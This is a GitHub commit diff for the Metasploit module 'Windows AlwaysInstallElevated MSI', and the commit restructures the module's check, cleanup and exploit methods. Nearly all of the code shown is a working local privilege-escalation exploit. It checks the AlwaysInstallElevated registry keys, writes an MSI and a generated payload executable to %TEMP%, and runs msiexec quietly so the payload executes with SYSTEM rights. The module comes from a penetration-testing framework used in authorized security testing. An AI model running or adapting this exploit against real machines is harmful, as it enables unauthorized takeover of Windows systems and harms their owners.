Skip to content

Commit 85ed074

Browse files
author
jvazquez-r7
committed
Final cleanup on always_install_elevated
1 parent fd1557b commit 85ed074

File tree

1 file changed

+82
-78
lines changed

1 file changed

+82
-78
lines changed

‎modules/exploits/windows/local/always_install_elevated.rb

Lines changed: 82 additions & 78 deletions
Original file line numberDiff line numberDiff line change
@@ -23,16 +23,15 @@ def initialize(info={})
2323
super(update_info(info, {
2424
'Name' => 'Windows AlwaysInstallElevated MSI',
2525
'Description' => %q{
26-
This module checks the AlwaysInstallElevated registry keys which
27-
dictate if .MSI files should be installed with elevated privileges
28-
(NT AUTHORITY\SYSTEM).
26+
This module checks the AlwaysInstallElevated registry keys which dictate if
27+
.MSI files should be installed with elevated privileges (NT AUTHORITY\SYSTEM).
2928
30-
The default MSI file is data/exploits/exec_payload.msi with the WiX source
31-
file under external/source/exploits/exec_payload_msi/exec_payload.wxs.
32-
This MSI simply executes payload.exe within the same folder.
29+
The default MSI file is data/exploits/exec_payload.msi with the WiX source file
30+
under external/source/exploits/exec_payload_msi/exec_payload.wxs. This MSI simply
31+
executes payload.exe within the same folder.
3332
34-
The MSI may not execute succesfully successive times, but may be able to
35-
get around this by regenerating the MSI.
33+
The MSI may not execute succesfully successive times, but may be able to get around
34+
this by regenerating the MSI.
3635
3736
MSI can be rebuilt from the source using the WIX tool with the following commands:
3837
candle exec_payload.wxs
@@ -90,85 +89,90 @@ def check
9089
else
9190
print_good("#{hklm}\\#{install_elevated} is #{local_machine_value}.")
9291
current_user_value = registry_getvaldata(hkcu,install_elevated)
92+
end
9393

94-
if current_user_value.nil?
95-
print_error("#{hkcu}\\#{install_elevated} does not exist or is not accessible.")
96-
return Msf::Exploit::CheckCode::Safe
97-
elsif current_user_value == 0
98-
print_error("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
99-
return Msf::Exploit::CheckCode::Safe
100-
else
101-
print_good("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
102-
return Msf::Exploit::CheckCode::Vulnerable
103-
end
94+
if current_user_value.nil?
95+
print_error("#{hkcu}\\#{install_elevated} does not exist or is not accessible.")
96+
return Msf::Exploit::CheckCode::Safe
97+
elsif current_user_value == 0
98+
print_error("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
99+
return Msf::Exploit::CheckCode::Safe
100+
else
101+
print_good("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
102+
return Msf::Exploit::CheckCode::Vulnerable
104103
end
105104
end
106105

107106
def cleanup
108-
if @executed
109-
begin
110-
print_status("Deleting MSI...")
111-
file_rm(@msi_destination)
112-
rescue Rex::Post::Meterpreter::RequestError => e
113-
print_error(e.to_s)
114-
print_error("Failed to delete MSI #{@msi_destination}, manual cleanup may be required.")
115-
end
116-
117-
begin
118-
print_status("Deleting Payload...")
119-
file_rm(@payload_destination)
120-
rescue Rex::Post::Meterpreter::RequestError => e
121-
print_error(e.to_s)
122-
print_error("Failed to delete payload #{@payload_destination}, this is expected if the exploit is successful, manual cleanup may be required.")
123-
end
107+
if not @executed
108+
return
109+
end
110+
111+
begin
112+
print_status("Deleting MSI...")
113+
file_rm(@msi_destination)
114+
rescue Rex::Post::Meterpreter::RequestError => e
115+
print_error(e.to_s)
116+
print_error("Failed to delete MSI #{@msi_destination}, manual cleanup may be required.")
117+
end
118+
119+
begin
120+
print_status("Deleting Payload...")
121+
file_rm(@payload_destination)
122+
rescue Rex::Post::Meterpreter::RequestError => e
123+
print_error(e.to_s)
124+
print_error("Failed to delete payload #{@payload_destination}, this is expected if the exploit is successful, manual cleanup may be required.")
124125
end
125126
end
126127

127128
def exploit
128-
@executed = false
129-
if check == Msf::Exploit::CheckCode::Vulnerable
130-
@executed = true
131-
132-
msi_filename = "exec_payload.msi" # Rex::Text.rand_text_alpha((rand(8)+6)) + ".msi"
133-
msi_source = ::File.join(Msf::Config.install_root, "data", "exploits", "exec_payload.msi")
134-
135-
# Upload MSI
136-
@msi_destination = expand_path("%TEMP%\\#{msi_filename}").strip # expand_path in Windows Shell adds a newline and has to be stripped
137-
print_status("Uploading the MSI to #{@msi_destination} ...")
138-
139-
#upload_file - ::File.read doesn't appear to work in windows...
140-
source = File.open(msi_source, "rb"){|fd| fd.read(fd.stat.size) }
141-
write_file(@msi_destination, source)
142-
143-
# Upload payload
144-
payload = generate_payload_exe
145-
@payload_destination = expand_path("%TEMP%\\payload.exe").strip
146-
print_status("Uploading the Payload to #{@payload_destination} ...")
147-
write_file(@payload_destination, payload)
148-
149-
# Execute MSI
150-
print_status("Executing MSI...")
151-
152-
if datastore['LOG_FILE'].nil?
153-
logging = ""
154-
else
155-
logging = "/l* #{datastore['LOG_FILE']} "
156-
end
157-
158-
if datastore['QUIET']
159-
quiet = "/quiet "
160-
else
161-
quiet = ""
162-
end
163-
164-
cmd = "msiexec.exe #{logging}#{quiet}/package #{@msi_destination}"
165-
vprint_status("Executing: #{cmd}")
166-
begin
167-
result = cmd_exec(cmd)
168-
rescue Rex::TimeoutError
169-
vprint_status("Execution timed out.")
170-
end
171-
vprint_status("MSI command-line feedback: #{result}")
129+
130+
if check != Msf::Exploit::CheckCode::Vulnerable
131+
@executed = false
132+
return
133+
end
134+
135+
@executed = true
136+
137+
msi_filename = "exec_payload.msi" # Rex::Text.rand_text_alpha((rand(8)+6)) + ".msi"
138+
msi_source = ::File.join(Msf::Config.install_root, "data", "exploits", "exec_payload.msi")
139+
140+
# Upload MSI
141+
@msi_destination = expand_path("%TEMP%\\#{msi_filename}").strip # expand_path in Windows Shell adds a newline and has to be stripped
142+
print_status("Uploading the MSI to #{@msi_destination} ...")
143+
144+
#upload_file - ::File.read doesn't appear to work in windows...
145+
source = File.open(msi_source, "rb"){|fd| fd.read(fd.stat.size) }
146+
write_file(@msi_destination, source)
147+
148+
# Upload payload
149+
payload = generate_payload_exe
150+
@payload_destination = expand_path("%TEMP%\\payload.exe").strip
151+
print_status("Uploading the Payload to #{@payload_destination} ...")
152+
write_file(@payload_destination, payload)
153+
154+
# Execute MSI
155+
print_status("Executing MSI...")
156+
157+
if datastore['LOG_FILE'].nil?
158+
logging = ""
159+
else
160+
logging = "/l* #{datastore['LOG_FILE']} "
161+
end
162+
163+
if datastore['QUIET']
164+
quiet = "/quiet "
165+
else
166+
quiet = ""
167+
end
168+
169+
cmd = "msiexec.exe #{logging}#{quiet}/package #{@msi_destination}"
170+
vprint_status("Executing: #{cmd}")
171+
begin
172+
result = cmd_exec(cmd)
173+
rescue Rex::TimeoutError
174+
vprint_status("Execution timed out.")
172175
end
176+
vprint_status("MSI command-line feedback: #{result}")
173177
end
174178
end

0 commit comments

Comments
 (0)